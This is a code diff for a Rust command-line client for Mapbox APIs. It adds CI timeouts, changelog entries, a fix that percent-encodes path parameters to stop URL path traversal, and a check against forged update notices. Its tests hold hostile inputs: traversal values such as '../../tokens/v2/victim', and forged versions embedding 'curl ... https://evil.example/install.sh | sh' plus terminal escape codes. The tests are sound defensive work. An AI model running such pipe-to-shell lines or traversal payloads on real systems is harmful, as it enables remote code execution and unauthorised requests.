diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index b90bfb0..41eb5e2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -32,6 +32,18 @@ jobs: matrix: os: [ubuntu-latest, macos-14, windows-2022] runs-on: ${{ matrix.os }} + # These legs take one to two minutes. Twenty is not a budget, it is a + # tripwire: without one, a job that stops making progress runs to GitHub's + # six-hour default before anyone hears about it. That is not hypothetical — + # a test that blocked on `accept()` with no deadline wedged the Windows leg + # for its full six hours, and the only reason it went unnoticed for a day + # is that every run on `main` was cancelled by the next push first. + # + # On all three rather than Windows alone: nobody here runs Windows as a + # daily driver, so CI is the only signal it has — but a Unix leg that + # suddenly needs twenty minutes has something wrong with it worth hearing + # about too. + timeout-minutes: 20 permissions: contents: read steps: @@ -113,6 +125,7 @@ jobs: matrix: os: [ubuntu-latest, macos-14] runs-on: ${{ matrix.os }} + timeout-minutes: 20 permissions: contents: read steps: @@ -148,6 +161,7 @@ jobs: matrix: shell: [powershell, pwsh] runs-on: windows-2022 + timeout-minutes: 20 permissions: contents: read steps: @@ -268,6 +282,7 @@ jobs: audit: name: advisories (blocks on a vulnerability) runs-on: ubuntu-latest + timeout-minutes: 20 permissions: contents: read steps: diff --git a/CHANGELOG.md b/CHANGELOG.md index a57557b..33a4be7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,8 @@ # Changelog What changed, and what it means for scripts that already use this tool. -Newest first. +Newest first, written by hand — the commit subject rarely explains why a +change matters. Versions follow [semantic versioning](https://semver.org/). Pre-1.0 rule: while the version starts with `0.`, a breaking change raises the minor @@ -10,8 +11,32 @@ breaking is [written down in CONTRIBUTING.md](CONTRIBUTING.md#compatibility) — command names, flags, the two output modes and the exit codes are promises; the Mapbox APIs' own response bodies are not. +Cutting a release adds a `## - ` heading below +`## Unreleased`, which stays in place so the next change has somewhere to go. + +Dev-channel builds (`v0.1.3-dev.`) are published straight from a branch +that may never merge. They are not releases and are not listed here. + ## Unreleased +## 0.2.1 - 2026-09-15 + +### Fixed + +- A path parameter can no longer change the shape of the request URL. Values + are substituted into a path template, so one carrying URL syntax altered + where the request went rather than naming a segment in it: `?` appended + query parameters the caller never asked for, `..` (and its backslash + spelling) moved the path, and `#` truncated it — each with the caller's + token and the command's method attached. The host was never reachable, so + nothing could be directed at another server. `/`, `?`, `#` and `\` are now + percent-encoded, and a value of `.` or `..` is refused as + `invalid_path_parameter`. Punctuation these values legitimately carry — a + static-images overlay, `@2x`, `.png`, a comma-separated coordinate — is + untouched. See [#15](https://github.com/mapbox/mapbox-cli/pull/15). + +## 0.2.0 - 2026-09-14 + ### Added - Paginated listings now say when there is more to fetch. A response the API @@ -45,6 +70,37 @@ the Mapbox APIs' own response bodies are not. ### Changed +- **Breaking**: nine more commands renamed, continuing #116's cleanup, and + two dropped outright: + + | Was | Is now | + | --- | --- | + | `mapbox geocoder forward-geocode` | `mapbox geocoder forward` | + | `mapbox geocoder reverse-geocode` | `mapbox geocoder reverse` | + | `mapbox geocoder batch-geocode` | `mapbox geocoder batch` | + | `mapbox tilesets get-rastertile` | `mapbox tilesets get-tile` | + | `mapbox tilesets get-vectortile` | `mapbox tilesets get-mvt` | + | `mapbox rasterarrays get-mrt-tile` | `mapbox tilesets get-mrt` | + | `mapbox tilequery get` | `mapbox tilesets query` | + | `mapbox static-images get-static-image` | `mapbox static get-image` | + | `mapbox static-tiles get-static-tile` | `mapbox static get-tile` | + + `mapbox rasterarrays`, `mapbox tilequery`, `mapbox static-images` and + `mapbox static-tiles` no longer exist: each held exactly one operation, + and that operation now answers under `tilesets` or `static` instead — + the same reasoning 0.1.8 gave for `sprites` and `tilesets` appearing + there. `mapbox static` is new for it. + + `static-images get-static-image-auto` and `get-static-image-bbox` are + gone, not renamed — the decision record's reason for withholding both is + that they will merge into `get-image`'s own parameters, but that merge + hasn't happened yet, so today there is simply no way to ask for an + auto-fit or bounding-box static image from this CLI. + + Nothing answers to any of the old spellings, the same as 0.1.8's rename: + no hidden alias, and the two dropped commands are not offered under any + spelling. + - The advice under a transport failure now names `ALL_PROXY` alongside `HTTPS_PROXY` and `NO_PROXY`, and says that a SOCKS proxy is not supported. `ALL_PROXY=socks5://…` fails the request rather than being ignored, and @@ -68,6 +124,25 @@ the Mapbox APIs' own response bodies are not. no release notes in front of the reader, so breaking an opt-out there would have happened silently. When both are set the new name wins. +- A usage error under `-o json` now carries clap's own suggestion as `fix`: + `mapbox styles lst` answers `"fix": "A similar subcommand exists: 'list'"`. + Clap renders that tip in a paragraph of its own, and `message` is built from + the first one, so `json` consumers — scripts and agents — were the only ones + not told what was probably meant. It matters most for the renames above: a + script pinned to a command that no longer exists now gets a pointer to the + one that replaced it. `-o text` is unchanged, where clap already printed it. + Misspelled flags are covered too. + +### Security + +- `rustls` moved to 0.23.45, fixing + [RUSTSEC-2026-0285](https://rustsec.org/advisories/RUSTSEC-2026-0285) — + "TLS 1.3 handshake messages incorrectly accepted across encryption level + boundaries", medium severity, published 2026-09-14. `rustls` is reached + through `reqwest`, so every HTTPS request this CLI makes used the affected + version; nothing in the crate itself had to change. Fixed in + [mapbox/mapbox-cli#2](https://github.com/mapbox/mapbox-cli/pull/2). + ## 0.1.8 - 2026-09-14 Initial beta release. The next release is `0.2.0`. diff --git a/Cargo.lock b/Cargo.lock index 292273f..8407554 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -751,7 +751,7 @@ checksum = "4050469837a6ff301cd14c1f8f24f88549e6d548f24f64e2148eb0f72cebc51f" [[package]] name = "mapbox-cli" -version = "0.2.0" +version = "0.2.1" dependencies = [ "anyhow", "base64", diff --git a/Cargo.toml b/Cargo.toml index f44d419..c7b78d2 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "mapbox-cli" -version = "0.2.0" +version = "0.2.1" edition = "2021" description = "A command-line interface for Mapbox APIs, with commands generated at build time from OpenAPI specs." repository = "https://github.com/mapbox/cli" diff --git a/docs/commands.md b/docs/commands.md index 4c4180f..fa9a534 100644 --- a/docs/commands.md +++ b/docs/commands.md @@ -629,9 +629,7 @@ Two details worth knowing: is just as partial there, and the API's own document cannot carry the fact without an envelope this CLI has promised not to add — so a `-o json` consumer reading stdout alone is unaffected, and one watching stderr is - told. There is no `--all` yet; following the pages is the caller's job, - and [#117](https://github.com/mapbox/mapbox-cli-private/issues/117) tracks - changing that. + told. There is no `--all` yet; following the pages is the caller's job. - **`--id` searches the page it was given.** On a paginated listing a miss means "not on this page", which is not the same as "does not exist", so the error says which and how to look further: @@ -3497,6 +3495,7 @@ faults and are not: | `request_timed_out` | The request ran out of its time budget. Its own code because it is the one transport failure worth retrying or raising `--timeout` for. | | `missing_path_parameters` | A `{username}`/`{owner}`/`{account}` placeholder went unresolved. | +| `invalid_path_parameter` | A path parameter was `.` or `..`, which would move the request to a different endpoint. Other URL syntax in a path parameter (`/`, `?`, `#`, `\`) is percent-encoded rather than refused, so it names a segment instead of changing the URL's shape. | | `invalid_data` | `--data` was not valid JSON, or a `@`/`@-` body was empty. | | `invalid_file` | A file could not be read: one named by `--file`, or one named by `--data @`. Also a `@` that is not valid UTF-8, which a JSON body has to be. | | `binary_response` | The response was bytes and stdout is a terminal. Redirect it to a file. | diff --git a/scripts/install.ps1 b/scripts/install.ps1 index 0ef900b..3143555 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -100,7 +100,7 @@ # installers, which are fetched and run in one line with no release notes # in front of the reader - and breaking an opt-out is the one change that # must not happen quietly. So both work here, and the new name wins when - # both are set. See mapbox/mapbox-cli-private#140. + # both are set. # # Unset, empty or whitespace is a cleared variable. `0`, `f`, `false`, `n`, # `no` and `off` are clap's false spellings, the same reading this script diff --git a/scripts/install.sh b/scripts/install.sh index 17627ef..b2e44c6 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -78,7 +78,7 @@ INSTALL_SOURCE="${MAPBOX_CLI_INSTALL_SOURCE:-}" # release notes in front of them — and breaking an opt-out is the one change # that must not happen quietly. So both work here, the new name wins when both # are set, and the old one keeps working for the Dockerfile the comment above -# describes. See mapbox/mapbox-cli-private#140. +# describes. # # Unset, empty, or whitespace: a cleared variable. `0`, `f`, `false`, `n`, `no` # and `off` are clap's false spellings, so a `0` is someone declining the diff --git a/scripts/test-install.ps1 b/scripts/test-install.ps1 index 3c65437..210a254 100644 --- a/scripts/test-install.ps1 +++ b/scripts/test-install.ps1 @@ -517,8 +517,7 @@ try { Start-Case 'MAPBOX_CLI_NO_TELEMETRY is honoured, and outranks the old name' New-CaseEnv 'telemetry-new-name' $env:MAPBOX_CLI_INSTALL_SOURCE = 'dockerfile' - # The documented name, which the binary reads and this script did not until - # mapbox/mapbox-cli-private#140. + # The documented name, which the binary reads and this script honours too. $env:MAPBOX_CLI_NO_TELEMETRY = '1' [IO.File]::WriteAllText($RequestLog, '') Invoke-Installer diff --git a/scripts/test-install.sh b/scripts/test-install.sh index bd396f5..ca51105 100755 --- a/scripts/test-install.sh +++ b/scripts/test-install.sh @@ -666,8 +666,7 @@ shim curl-recording curl CURL_LOG="${CASE_DIR}/curl-args" export MAPBOX_TEST_CURL_LOG="$CURL_LOG" -# The documented name, which the binary reads and this script did not until -# mapbox/mapbox-cli-private#140. +# The documented name, which the binary reads and this script honours too. : >"$CURL_LOG" export MAPBOX_CLI_NO_TELEMETRY=1 run_piped && status=0 || status=$? diff --git a/src/executor.rs b/src/executor.rs index fbee348..34ff195 100644 --- a/src/executor.rs +++ b/src/executor.rs @@ -1,3 +1,4 @@ +use std::borrow::Cow; use std::time::Duration; use anyhow::{anyhow, Result}; @@ -124,7 +125,8 @@ fn dispatch( // Substitute other path params from positional args for param in &op.path_params { if let Some(val) = matches.get_one::(¶m.arg_name) { - path = substitute_path_param(&path, ¶m.name, val, param.required); + let safe = path_segment(¶m.name, val)?; + path = substitute_path_param(&path, ¶m.name, &safe, param.required); } } @@ -398,8 +400,7 @@ pub fn request_id(headers: &reqwest::header::HeaderMap) -> Option { /// A struct rather than three reads at the call site because `bytes()` /// consumes the response: whatever is not taken before it is unrecoverable. /// Taking only `Content-Type` is what left paginated listings truncating -/// silently and left a 500 with nothing to quote to support -/// (mapbox/mapbox-cli-private#117). +/// silently and left a 500 with nothing to quote to support. struct ResponseHeaders { /// Decides whether the body is read as text or written as bytes. content_type: String, @@ -797,7 +798,7 @@ const STDIN_PATH: &str = "-"; /// literal `@` cannot be passed this way. It costs nothing here, because every /// operation reachable with `--data` today sends JSON, and `@` is not valid /// JSON. If a text body that could start with one is ever wired up, `--data-raw` -/// is the established escape hatch — see mapbox/mapbox-cli-private#118. +/// is the established escape hatch. /// /// Read here rather than at send time so that a `--dry-run` validates the file /// too. A dry run that skipped this would describe a request that could not @@ -1087,6 +1088,68 @@ fn empty_success_line(method: &str, subject: Option<&str>) -> String { /// Parameters that are only part of a segment (`{width}x{height}{format}`) /// are substituted as they are: an empty value there is the format's default, /// which is what the spec means by optional. +/// The characters that would change the URL's *structure* rather than name a +/// segment within it. +/// +/// `\` is here because WHATWG treats it as a path separator for special +/// schemes, so `..\..\x` traverses exactly as `../../x` does — verified +/// against `reqwest::Url`, not assumed. +const PATH_STRUCTURAL: [char; 4] = ['/', '?', '#', '\\']; + +/// One path parameter's value, safe to splice into the URL's path. +/// +/// The path is built by substituting into a template +/// (`…/{username}/{style_id}/static/{overlay}/…`), so a value carrying URL +/// syntax used to change which request went out. With the caller's token and +/// the command's method attached, `styles delete '../../x'` aimed a `DELETE` +/// at a path nobody asked for, and `'x?fresh=true'` appended a query +/// parameter — the same shape as mapbox/mcp-server's `directions_tool` fix. +/// +/// **Only the four structural characters are encoded, deliberately.** Path +/// parameters here carry punctuation on purpose: a static-images overlay is +/// `pin-s+f74e4e(-122.46,37.77)`, `{highRes}` is `@2x`, `{format}` is `.png`, +/// and `{lon},{lat},{zoom}` are three placeholders sharing one comma- +/// separated segment. Percent-encoding everything outside RFC 3986's +/// unreserved set would rewrite all of that and risk breaking requests that +/// work today. Encoding only what alters the URL's shape cannot change any +/// request that does not already contain those four characters. +/// +/// Dot segments are refused rather than encoded, because encoding does not +/// stop them: WHATWG reads `%2e%2e` as a double-dot segment too, so a value +/// of exactly `..` still climbs a level however it is spelled. Encoding the +/// separators is what defeats the multi-level `../../x` case — it collapses +/// to a single segment — and this catches the single-level remainder. +fn path_segment<'a>(name: &str, value: &'a str) -> Result> { + // `%2e` is a dot as far as the URL parser is concerned, in either case. + let as_dots = value.replace("%2e", ".").replace("%2E", "."); + if as_dots == "." || as_dots == ".." { + return Err(CliError::new( + "invalid_path_parameter", + format!( + "`{value}` cannot be used as {name}: a path segment of `.` or `..` would move \ + the request to a different endpoint." + ), + ) + .into()); + } + + if !value.contains(PATH_STRUCTURAL) { + return Ok(Cow::Borrowed(value)); + } + + let mut encoded = String::with_capacity(value.len()); + for c in value.chars() { + match c { + '/' => encoded.push_str("%2F"), + '?' => encoded.push_str("%3F"), + '#' => encoded.push_str("%23"), + '\\' => encoded.push_str("%5C"), + other => encoded.push(other), + } + } + Ok(Cow::Owned(encoded)) +} + fn substitute_path_param(path: &str, name: &str, value: &str, required: bool) -> String { let placeholder = format!("{{{name}}}"); let segment = format!("/{placeholder}"); @@ -1272,10 +1335,12 @@ fn write_binary(body: &[u8], content_type: &str) -> Result<()> { mod tests { use super::{ describe_body, empty_success_line, file_name_of, is_binary_content_type, part_media_type, - payload_of, query_pairs, redacted_url, request_id, resolve_body_source, resolve_data, - shell_value, substitute_path_param, with_page_context, BodySource, NextPage, + path_segment, payload_of, query_pairs, redacted_url, request_id, resolve_body_source, + resolve_data, shell_value, substitute_path_param, with_page_context, BodySource, NextPage, ResponseHeaders, ACCESS_TOKEN, REQUEST_ID_HEADERS, }; + use std::borrow::Cow; + use crate::http::Payload; use crate::output::CliError; use crate::spec::{Parameter, RequestBody}; @@ -2121,4 +2186,130 @@ mod tests { ); assert_eq!(err.downcast_ref::().unwrap().fix, None); } + + /// The shape mapbox/mcp-server fixed in `directions_tool`: a value spliced + /// into the path used to append query parameters the caller never asked + /// for. Verified against `reqwest::Url` at the time — `x?fresh=true` gave + /// `query = fresh=true&access_token=…`. + #[test] + fn a_path_parameter_cannot_inject_a_query_string() { + let safe = path_segment("style_id", "x?fresh=true").expect("encoded, not refused"); + assert_eq!(safe, "x%3Ffresh=true"); + } + + /// With the caller's token and the command's method attached, this aimed a + /// `DELETE` at whatever path the value resolved to. The host was never + /// reachable — `//evil`, `https://evil` and `x@evil` all stay on + /// `api.mapbox.com` — but the path was. + #[test] + fn a_path_parameter_cannot_retarget_the_path() { + let safe = path_segment("style_id", "../../tokens/v2/victim").expect("encoded"); + assert_eq!(safe, "..%2F..%2Ftokens%2Fv2%2Fvictim"); + assert!(!safe.contains('/'), "one segment, not four: {safe}"); + } + + /// `\` is a path separator too, for a special scheme — WHATWG says so and + /// `reqwest::Url` agrees: `..\..\tokens` resolved just as `../../tokens` + /// did. Encoding `/` alone would have left this open. + #[test] + fn a_backslash_cannot_retarget_the_path_either() { + let safe = path_segment("style_id", r"..\..\tokens").expect("encoded"); + assert_eq!(safe, "..%5C..%5Ctokens"); + } + + /// A fragment is not sent to the server, so this silently truncated the + /// path rather than redirecting it — a request to somewhere the caller + /// could not see in what they typed. + #[test] + fn a_fragment_cannot_truncate_the_path() { + assert_eq!( + path_segment("style_id", "x#frag").expect("encoded"), + "x%23frag" + ); + } + + /// **Refused, not encoded, and that distinction is the point.** Encoding + /// does not stop a dot segment: WHATWG reads `%2e%2e` as one too, so a + /// value of exactly `..` climbs a level however it is spelled. Encoding + /// the separators handles the multi-level case by collapsing it into one + /// segment; this handles what is left. + #[test] + fn a_dot_segment_is_refused_however_it_is_spelled() { + for value in ["..", ".", "%2e%2e", "%2E%2E", "%2e", ".%2e", "%2e."] { + let err = path_segment("style_id", value).expect_err(value); + assert_eq!(refusal(err).code, "invalid_path_parameter", "{value}"); + } + } + + /// Encoded dots *and* encoded slashes together, which is the shape that + /// looks like traversal and is not. + /// + /// `%2f` is never decoded into a separator by the URL parser, so this + /// stays one segment on the wire — unlike encoded dots with *raw* slashes + /// (`%2e%2e/%2e%2e/x`), which the parser does resolve and which the + /// encoding above is what stops. It is left alone on purpose: percent- + /// encoded values are a documented Mapbox feature, not an attack + /// signature. A custom marker overlay is + /// `url-https%3A%2F%2Fexample.com%2Fmarker.png(…)`, `geojson(…)` takes + /// URI-encoded GeoJSON, and the spec says a bbox's brackets "may be sent + /// literally or percent-encoded as `%5B`". Refusing these would break all + /// three. + #[test] + fn a_percent_encoded_separator_stays_one_segment() { + let value = "%2e%2e%2fvictim"; + let safe = path_segment("style_id", value).expect("not refused"); + assert_eq!(safe, value, "passed through, because it names one segment"); + + let url = reqwest::Url::parse(&format!("https://api.mapbox.com/styles/v1/u/{safe}")) + .expect("parses"); + let segments: Vec<&str> = url + .path_segments() + .map(Iterator::collect) + .unwrap_or_default(); + assert_eq!( + segments, + ["styles", "v1", "u", "%2e%2e%2fvictim"], + "one segment under /u/, not a traversal: {}", + url.path() + ); + } + + /// **The reason this encodes four characters and not everything outside + /// RFC 3986's unreserved set.** These values carry punctuation on purpose, + /// and percent-encoding it would rewrite requests that work today — + /// `static get-image`'s template alone is + /// `…/static/{overlay}/{lon},{lat},{zoom},{bearing},{pitch}/{width}x{height}{highRes}{format}`. + #[test] + fn punctuation_a_path_parameter_legitimately_carries_is_untouched() { + for value in [ + "pin-s+f74e4e(-122.46,37.77)", + "@2x", + ".png", + "-122.4194,37.7749,12,0,0", + "mapbox.mapbox-streets-v8", + "Arial Unicode MS Regular", + "0-255", + "ckstyle00000000000000001a", + ] { + let safe = path_segment("p", value).expect("not refused"); + assert_eq!(safe, value, "should pass through byte for byte"); + assert!(matches!(safe, Cow::Borrowed(_)), "and without allocating"); + } + } + + /// An empty optional parameter still drops its whole segment, which + /// several operations rely on — encoding must not have taken that away. + #[test] + fn an_empty_optional_parameter_still_drops_its_segment() { + let safe = path_segment("draft", "").expect("empty is not a dot segment"); + assert_eq!(safe, ""); + assert_eq!( + substitute_path_param("/styles/v1/{u}/{id}/draft", "draft", &safe, false), + "/styles/v1/{u}/{id}/draft" + ); + assert_eq!( + substitute_path_param("/styles/v1/{u}/{id}/{draft}", "draft", &safe, false), + "/styles/v1/{u}/{id}" + ); + } } diff --git a/src/update_check.rs b/src/update_check.rs index 29c889d..1a0bc69 100644 --- a/src/update_check.rs +++ b/src/update_check.rs @@ -214,10 +214,50 @@ fn should_refresh(cache: Option<&Cache>, now: u64) -> bool { } } +/// Whether a version from the channel is one this CLI will repeat aloud. +/// +/// The notice interpolates this into text a reader is meant to copy and run: +/// +/// ```text +/// A newer mapbox is available: 0.3.0 (this is 0.1.5). +/// Update: curl -fsSL https://cli.mapbox.com/install.sh | sh +/// Silence this: MAPBOX_NO_UPDATE_CHECK=1 +/// ``` +/// +/// A value carrying newlines could therefore add lines of its own — a second +/// `Update:` naming somewhere else would be indistinguishable from the real +/// one. Of everything this CLI prints, the update notice is the line most +/// meant to be acted on, which is what makes forging it worth more than noise +/// on stderr. +/// +/// So the shape is restricted rather than the content sanitised: ASCII +/// alphanumerics, `.`, `-` and `+`, bounded. That admits `0.2.0` and +/// `0.1.3-dev.abc1234`, which is everything the channel publishes, and admits +/// no character that could begin a line or move a cursor. +/// +/// Checked in two places on purpose. `fetch_latest` applies it so an +/// implausible version is never written to the cache; this function applies it +/// again because the cache is a file on disk, and a check that only ran at +/// fetch time would be bypassed by a cache written before this existed, or +/// edited afterwards. +fn is_plausible_version(value: &str) -> bool { + /// Long enough for `0.1.3-dev.` and a full commit sha, with room over. + const LONGEST: usize = 64; + + !value.is_empty() + && value.len() <= LONGEST + && value + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '-' | '+')) +} + /// The version to point at, if this run is the one that should say so. fn should_notify<'a>(cache: Option<&'a Cache>, current: &str, now: u64) -> Option<&'a str> { let cache = cache?; - let latest = cache.latest.as_deref()?; + let latest = cache + .latest + .as_deref() + .filter(|v| is_plausible_version(v))?; if !is_newer(latest, current) { return None; } @@ -348,7 +388,7 @@ fn fetch_latest(url: &str) -> Option { } let manifest: serde_json::Value = response.json().ok()?; let version = manifest.get("version")?.as_str()?.trim(); - (!version.is_empty()).then(|| version.to_string()) + is_plausible_version(version).then(|| version.to_string()) } /// Called once, on the way out of `main`, after the result and any error have @@ -687,4 +727,90 @@ mod tests { } assert_eq!(from_environment(name), None); } + + /// Every shape the channel actually publishes has to keep working — this + /// is a restriction on a value the CLI does not control, so being too + /// strict silences legitimate notices. + #[test] + fn the_versions_the_channel_publishes_are_all_plausible() { + for version in [ + "0.2.0", + "0.1.8", + "1.0.0", + "0.1.3-dev.abc1234", + "0.2.0-rc.1", + "10.20.30", + "0.2.0+build.5", + ] { + assert!(is_plausible_version(version), "{version}"); + } + } + + /// **The one that matters.** The notice is three lines, and a version + /// carrying a newline can write a fourth — a second `Update:` line naming + /// somewhere else reads exactly like the real one. + #[test] + fn a_version_cannot_add_a_line_to_the_notice() { + // `+` is what makes this reach the notice at all: `parse_version` + // discards build metadata before comparing, so the payload is + // invisible to `is_newer` and still printed in full. Without the + // guard this renders an attacker's `Update:` line *above* the real + // one — a reader copying the first would run theirs. + let forged = "0.3.0+\nUpdate: curl -fsSL https://evil.example/install.sh | sh"; + assert!(is_newer(forged, "0.1.5"), "it really would have been shown"); + assert!(!is_plausible_version(forged)); + + // And the refusal is what keeps it out of the notice, not luck about + // how the text happens to be assembled. + let cache = cache(0, 0, forged); + assert_eq!( + should_notify(Some(&cache), "0.1.5", NOTIFY_EVERY.as_secs()), + None + ); + } + + /// Carriage returns move a terminal's cursor to the start of the line, so + /// a version can overwrite what was already printed without a newline at + /// all. Escape sequences do worse. + #[test] + fn nothing_that_can_move_a_cursor_is_plausible() { + for hostile in [ + "0.3.0\rUpdate: curl https://evil.example | sh", + "0.3.0\u{1b}[2K\u{1b}[1GUpdate: nonsense", + "0.3.0\u{0}", + "0.3.0 and some prose", + "0.3.0\u{7}", + ] { + assert!(!is_plausible_version(hostile), "{hostile:?}"); + } + } + + /// Unbounded, a version is a way to fill someone's terminal. + #[test] + fn an_implausibly_long_version_is_refused() { + assert!(!is_plausible_version(&"9".repeat(65))); + assert!(is_plausible_version(&"9".repeat(64))); + assert!(!is_plausible_version("")); + } + + /// The cache is a file on disk. A check that only ran when the manifest + /// was fetched would be bypassed by one written before that check existed, + /// or edited afterwards — so `should_notify` re-checks rather than + /// trusting what it reads. + #[test] + fn a_cache_on_disk_cannot_smuggle_a_version_past_the_check() { + let poisoned = cache(0, 0, "0.3.0+\nUpdate: curl https://evil.example | sh"); + assert_eq!( + should_notify(Some(&poisoned), "0.1.5", NOTIFY_EVERY.as_secs()), + None + ); + + // The same cache with a plausible version still notifies, so the guard + // is what refused it and not the surrounding conditions. + let clean = cache(0, 0, "0.3.0"); + assert_eq!( + should_notify(Some(&clean), "0.1.5", NOTIFY_EVERY.as_secs()), + Some("0.3.0") + ); + } }